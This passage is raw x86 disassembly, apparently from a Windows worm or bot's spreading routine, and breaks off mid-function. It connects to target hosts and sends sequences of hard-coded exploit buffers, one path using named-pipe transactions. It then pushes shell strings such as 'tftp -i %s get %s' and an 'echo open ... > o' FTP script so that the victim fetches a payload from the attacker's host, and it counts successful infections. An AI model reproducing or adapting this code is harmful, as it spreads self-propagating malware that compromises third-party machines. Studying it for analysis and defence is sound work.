		push	ebx
		push	esi
		call	sub_415570
		add	esp, 10h
		lea	eax, [ebp+var_C]
		mov	edi, 2710h
		push	ebx
		push	eax
		push	edi
		push	esi
		push	48h
		push	offset dword_4250D8
		push	[ebp+var_4]
		call	dword_421074	; TransactNamedPipe
		cmp	byte ptr [esi+2], 0Ch
		jnz	short loc_4034D8
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	dword_421070	; WriteFile
		test	eax, eax
		jnz	short loc_4034F6

loc_4034D8:				; CODE XREF: sub_4033CB+F3j
		push	esi
		call	sub_415E3D
		push	[ebp+var_8]
		call	sub_415E3D
		pop	ecx
		pop	ecx

loc_4034E8:				; CODE XREF: sub_4033CB+B9j
		push	[ebp+var_4]
		call	dword_42106C	; CloseHandle
		jmp	loc_403441
; ---------------------------------------------------------------------------

loc_4034F6:				; CODE XREF: sub_4033CB+10Bj
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		push	edi
		push	esi
		push	[ebp+var_4]
		call	dword_421068	; ReadFile
		push	[ebp+var_8]
		mov	edi, eax
		call	sub_415E3D
		push	esi
		call	sub_415E3D
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_42106C	; CloseHandle
		lea	eax, [ebp+arg_4]
		push	eax
		call	sub_4030C0
		cmp	edi, 1
		pop	ecx
		jnz	loc_40365A
		jmp	loc_403649
; ---------------------------------------------------------------------------

loc_403539:				; CODE XREF: sub_4033CB+1Aj
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_412B98
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_403649
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	dword_43A418	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_403649
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+arg_A0]
		call	dword_43A398	; htons
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	[ebp+var_20], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_403178
		mov	esi, eax
		add	esp, 0C8h
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_4035CB
		push	[ebp+var_4]
		jmp	short loc_403643
; ---------------------------------------------------------------------------

loc_4035CB:				; CODE XREF: sub_4033CB+1F9j
		mov	edi, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4035E3

loc_4035E0:				; CODE XREF: sub_4033CB+22Aj
		push	esi
		jmp	short loc_40363C
; ---------------------------------------------------------------------------

loc_4035E3:				; CODE XREF: sub_4033CB+213j
		push	ebx
		push	48h
		push	offset dword_4250D8
		push	edi
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4035E0
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43A3B0	; recv
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	edi
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403624
		push	[ebp+var_8]
		jmp	short loc_40363C
; ---------------------------------------------------------------------------

loc_403624:				; CODE XREF: sub_4033CB+252j
		push	ebx
		lea	eax, [ebp+var_1338]
		push	esi
		push	eax
		push	edi
		call	dword_43A3B0	; recv
		push	[ebp+var_8]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40364D

loc_40363C:				; CODE XREF: sub_4033CB+216j
					; sub_4033CB+257j
		call	sub_415E3D
		pop	ecx
		push	edi

loc_403643:				; CODE XREF: sub_4033CB+1FEj
		call	dword_43A430	; closesocket

loc_403649:				; CODE XREF: sub_4033CB+31j
					; sub_4033CB+80j ...
		xor	eax, eax
		jmp	short loc_4036CA
; ---------------------------------------------------------------------------

loc_40364D:				; CODE XREF: sub_4033CB+26Fj
		call	sub_415E3D
		pop	ecx
		push	edi
		call	dword_43A430	; closesocket

loc_40365A:				; CODE XREF: sub_4033CB+163j
		xor	esi, esi

loc_40365C:				; CODE XREF: sub_4033CB+2B1j
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40B24D
		test	eax, eax
		pop	ecx
		jnz	short loc_403680
		push	1388h
		call	dword_421060	; Sleep
		inc	esi
		cmp	esi, 6
		jl	short loc_40365C
		jmp	short loc_4036C7
; ---------------------------------------------------------------------------

loc_403680:				; CODE XREF: sub_4033CB+2A0j
		cmp	[ebp+arg_B4], ebx
		jnz	short loc_4036A5
		push	ebx
		lea	eax, [ebp+var_338]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h

loc_4036A5:				; CODE XREF: sub_4033CB+2BBj
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+arg_A8]
		pop	ecx
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]

loc_4036C7:				; CODE XREF: sub_4033CB+2B3j
		push	1
		pop	eax

loc_4036CA:				; CODE XREF: sub_4033CB+280j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4033CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4036CF	proc near		; DATA XREF: seg000:00423004o
		jmp	$+5
sub_4036CF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4036D4	proc near
		push	0BB80h
		push	76Ch
		call	sub_414098
		pop	ecx
		mov	dword_438FC0, eax
		pop	ecx
		retn
sub_4036D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036EB	proc near		; CODE XREF: sub_40384C+42Ap

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43A3D8	; inet_addr
		mov	[ebp+var_C], eax
		mov	ax, word ptr dword_438FC0
		push	eax
		call	dword_43A398	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43A418	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403825
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_403825
		push	esi
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		mov	esi, offset byte_42C1FC
		push	esi
		push	esi
		push	[ebp+arg_0]
		call	sub_40A171
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aTftpISGetS ; "tftp -i %s get %s\r\n"
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 18h
		push	esi
		push	esi
		push	dword_438FDC
		push	[ebp+arg_0]
		call	sub_40A171
		pop	ecx
		push	eax
		push	offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403825
		push	1F4h
		call	dword_421060	; Sleep
		push	esi
		push	offset dword_425050
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403829

loc_403825:				; CODE XREF: sub_4036EB+51j
					; sub_4036EB+67j ...
		xor	al, al
		jmp	short loc_403847
; ---------------------------------------------------------------------------

loc_403829:				; CODE XREF: sub_4036EB+138j
		push	0
		lea	eax, [ebp+var_5A0]
		push	400h
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		push	ebx
		call	dword_43A430	; closesocket
		mov	al, 1

loc_403847:				; CODE XREF: sub_4036EB+13Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4036EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40384C	proc near		; CODE XREF: sub_403C8B+125p
					; sub_403C8B+147p

var_89B4	= byte ptr -89B4h
var_894C	= byte ptr -894Ch
var_68DC	= byte ptr -68DCh
var_686C	= byte ptr -686Ch
var_5DA8	= byte ptr -5DA8h
var_4804	= byte ptr -4804h
var_4803	= byte ptr -4803h
var_3770	= byte ptr -3770h
var_2CAC	= byte ptr -2CACh
var_2CAB	= byte ptr -2CABh
var_2CA8	= byte ptr -2CA8h
var_2C2C	= byte ptr -2C2Ch
var_245C	= byte ptr -245Ch
var_1FB1	= byte ptr -1FB1h
var_1CC4	= byte ptr -1CC4h
var_14E0	= byte ptr -14E0h
var_14D0	= byte ptr -14D0h
var_11AC	= byte ptr -11ACh
var_11A8	= byte ptr -11A8h
var_119C	= byte ptr -119Ch
var_F14		= byte ptr -0F14h
var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_415D70
		mov	eax, dword_4250D0
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_4250D4
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_4250C4
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]

loc_40388B:				; CODE XREF: sub_40384C+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40388B
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_425B10
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CF0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_4155D0
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_415CF0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CF0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_415CF0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_4155D0
		mov	ax, word ptr dword_438FC0
		add	esp, 2Ch
		push	eax
		call	dword_43A398	; htons
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_425810
		call	sub_4155D0
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_403A48
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_415570
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_425F38[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_4155D0
		mov	esi, offset loc_425760
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_4250BC
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_4155D0
		add	esp, 40h
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_4155D0
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]

loc_403A01:				; CODE XREF: sub_40384C+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_403A01
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_415570
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_415570
		add	esp, 18h
		jmp	short loc_403A9F
; ---------------------------------------------------------------------------

loc_403A48:				; CODE XREF: sub_40384C+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_415570
		mov	esi, offset loc_425760
		push	esi
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_415CF0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_4155D0
		mov	eax, dword_425F38
		add	esp, 2Ch
		mov	[ebp+var_768], eax

loc_403A9F:				; CODE XREF: sub_40384C+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_415570
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403ADE

loc_403AD7:				; CODE XREF: sub_40384C+2B9j
					; sub_40384C+2E0j ...
		xor	al, al
		jmp	loc_403C86
; ---------------------------------------------------------------------------

loc_403ADE:				; CODE XREF: sub_40384C+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43A3B0	; recv
		push	ebx
		push	68h
		push	offset dword_425B74
		push	edi
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43A3B0	; recv
		push	ebx
		push	0A0h
		push	offset dword_425BE0
		push	edi
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43A3B0	; recv
		cmp	[ebp+arg_C0], ebx
		jz	loc_403BF4
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_425D98
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_4155D0
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_425E04
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_4155D0
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_425E78
		push	eax
		call	sub_4155D0
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_403AD7
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_43A3B0	; recv
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_403C4A
; ---------------------------------------------------------------------------

loc_403BF4:				; CODE XREF: sub_40384C+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_425C84
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_4155D0
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_425D04
		push	eax
		call	sub_4155D0
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h

loc_403C4A:				; CODE XREF: sub_40384C+3A6j
		push	eax
		push	edi
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_403AD7
		push	12Ch
		call	dword_421060	; Sleep
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_4036EB
		add	esp, 0BCh
		test	al, al
		setnz	al

loc_403C86:				; CODE XREF: sub_40384C+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40384C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C8B	proc near		; CODE XREF: seg000:00402FC3p
					; seg000:00403E78p ...

var_854		= byte ptr -854h
var_810		= byte ptr -810h
var_214		= byte ptr -214h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_14		= byte ptr  1Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_B0		= dword	ptr  0B8h

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		push	0BB80h
		push	76Ch
		call	sub_414098
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_415570
		add	esp, 14h
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_14], 2
		push	eax
		call	dword_43A3D8	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_10], eax
		call	dword_43A398	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_12], ax
		call	dword_43A418	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_403D93
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	ebx
		call	dword_43A340	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_403D93
		push	edi
		push	89h
		push	offset dword_4258F8
		push	ebx
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		mov	esi, 640h
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		push	edi
		push	0A8h
		push	offset dword_425984
		push	ebx
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		push	edi
		push	0DEh
		push	offset dword_425A30
		push	ebx
		call	dword_43A3E8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403D93
		push	edi
		lea	eax, [ebp+var_854]
		push	esi
		push	eax
		push	ebx
		call	dword_43A3B0	; recv
		movsx	eax, [ebp+var_810]
		sub	eax, 30h
		jz	short loc_403D9D
		dec	eax
		jz	short loc_403D9A

loc_403D93:				; CODE XREF: sub_403C8B+63j
					; sub_403C8B+79j ...
		xor	eax, eax
		jmp	loc_403E37
; ---------------------------------------------------------------------------

loc_403D9A:				; CODE XREF: sub_403C8B+106j
		push	edi
		jmp	short loc_403DC1
; ---------------------------------------------------------------------------

loc_403D9D:				; CODE XREF: sub_403C8B+103j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40384C
		add	esp, 0C4h
		test	al, al
		jnz	short loc_403DE1
		push	1

loc_403DC1:				; CODE XREF: sub_403C8B+110j
		push	ebx
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40384C
		add	esp, 0C4h
		test	al, al
		jz	short loc_403DE8

loc_403DE1:				; CODE XREF: sub_403C8B+132j
		mov	[ebp+var_4], 1

loc_403DE8:				; CODE XREF: sub_403C8B+154j
		push	ebx
		call	dword_43A430	; closesocket
		cmp	[ebp+var_4], 0
		jz	short loc_403E34
		push	0
		lea	eax, [ebp+var_214]
		push	[ebp+arg_B0]
		push	eax
		lea	eax, [ebp+arg_14]
		push	eax
		push	[ebp+arg_0]
		call	sub_412D4C
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B16D
		mov	eax, [ebp+arg_A8]
		add	esp, 18h
		imul	eax, 3Ch
		inc	dword_427340[eax]
		lea	eax, dword_427340[eax]

loc_403E34:				; CODE XREF: sub_403C8B+168j
		push	1
		pop	eax

loc_403E37:				; CODE XREF: sub_403C8B+10Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403C8B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		mov	dword ptr [ebp+0A8h], 1BDh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_402DDD
		push	2Fh
		lea	esi, [ebp+8]
		pop	ecx
		mov	dword ptr [ebp+0A8h], 1BDh
		mov	edi, esp
		mov	[ebp-4], eax
		rep movsd
		call	sub_403C8B
		add	esp, 0BCh
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_403E8D
		test	eax, eax
		jz	short loc_403E90

loc_403E8D:				; CODE XREF: seg000:00403E87j
		push	1
		pop	eax

loc_403E90:				; CODE XREF: seg000:00403E8Bj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403E94	proc near		; CODE XREF: sub_404108+Ep
					; sub_404108+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_403E94	endp


; =============== S U B	R O U T	I N E =======================================



sub_403E9E	proc near		; CODE XREF: sub_404108+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_415DC9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_403ED0
		push	ebx
		push	0
		push	edi
		call	sub_415570
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_4155D0
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi

loc_403ED0:				; CODE XREF: sub_403E9E+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_403E9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403ED8	proc near		; CODE XREF: sub_403FD2+18p
					; sub_40404C+16p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, ecx
		push	esi
		mov	ecx, [ebp+arg_C]
		push	edi
		lea	edi, [eax+ecx]
		push	edi
		call	sub_415DC9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_403F24
		push	edi
		push	0
		push	esi
		call	sub_415570
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	esi
		call	sub_4155D0
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_4]
		add	eax, esi
		push	[ebp+arg_8]
		push	eax
		call	sub_4155D0
		add	esp, 24h
		mov	[ebx+4], edi
		mov	[ebx], esi

loc_403F24:				; CODE XREF: sub_403ED8+1Cj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn	10h
sub_403ED8	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F2D	proc near		; CODE XREF: sub_403FD2+5Ep
					; sub_403FD2+6Fp ...
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_403F3D
		push	eax
		call	sub_415E3D
		pop	ecx

loc_403F3D:				; CODE XREF: sub_403F2D+7j
		and	dword ptr [esi+4], 0
		and	dword ptr [esi], 0
		pop	esi
		retn
sub_403F2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_403F46	proc near		; CODE XREF: sub_403FD2+20p
					; sub_4040AD+8p ...
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+4]
		cmp	eax, 0FFFFh
		jge	short loc_403F73
		xor	ebx, ebx
		cmp	eax, 7Fh
		setnl	bl
		dec	ebx
		and	ebx, 0FFFFFFFEh
		add	ebx, 3
		add	eax, ebx
		push	eax
		call	sub_415DC9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_403F77

loc_403F73:				; CODE XREF: sub_403F46+Dj
		xor	al, al
		jmp	short loc_403FCE
; ---------------------------------------------------------------------------

loc_403F77:				; CODE XREF: sub_403F46+2Bj
		mov	eax, ebx
		add	eax, [esi+4]
		push	eax
		push	0
		push	edi
		call	sub_415570
		add	esp, 0Ch
		cmp	ebx, 1
		jnz	short loc_403F9C
		mov	al, [esi+4]
		mov	[edi], al
		push	dword ptr [esi+4]
		lea	eax, [edi+1]
		push	dword ptr [esi]
		jmp	short loc_403FB6
; ---------------------------------------------------------------------------

loc_403F9C:				; CODE XREF: sub_403F46+45j
		mov	byte ptr [edi],	82h
		mov	eax, [esi+4]
		sar	eax, 8
		mov	[edi+1], al
		mov	al, [esi+4]
		mov	[edi+2], al
		push	dword ptr [esi+4]
		lea	eax, [edi+3]
		push	dword ptr [esi]

loc_403FB6:				; CODE XREF: sub_403F46+54j
		push	eax
		call	sub_4155D0
		add	esp, 0Ch
		push	dword ptr [esi]
		call	sub_415E3D
		add	[esi+4], ebx
		pop	ecx
		mov	[esi], edi
		mov	al, 1

loc_403FCE:				; CODE XREF: sub_403F46+2Fj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403F46	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FD2	proc near		; CODE XREF: sub_404108+89p
					; sub_404108+E3p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+var_8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	1
		push	offset dword_438FD4
		call	sub_403ED8
		lea	ecx, [ebp+var_8]
		call	sub_403F46
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_415DC9
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_40400C
		xor	al, al
		jmp	short loc_404048
; ---------------------------------------------------------------------------

loc_40400C:				; CODE XREF: sub_403FD2+34j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		push	0
		push	edi
		call	sub_415570
		mov	byte ptr [edi],	3
		push	[ebp+var_4]
		lea	eax, [edi+1]
		push	[ebp+var_8]
		push	eax
		call	sub_4155D0
		add	esp, 18h
		mov	ecx, esi
		call	sub_403F2D
		mov	eax, [ebp+var_4]
		lea	ecx, [ebp+var_8]
		inc	eax
		mov	[esi], edi
		mov	[esi+4], eax
		call	sub_403F2D
		mov	al, 1

loc_404048:				; CODE XREF: sub_403FD2+38j
		pop	edi
		pop	esi
		leave
		retn
sub_403FD2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40404C	proc near		; CODE XREF: sub_404080+14p
					; sub_40409D+8p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_8]
		push	[ebp+arg_0]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		call	sub_403ED8
		mov	ecx, esi
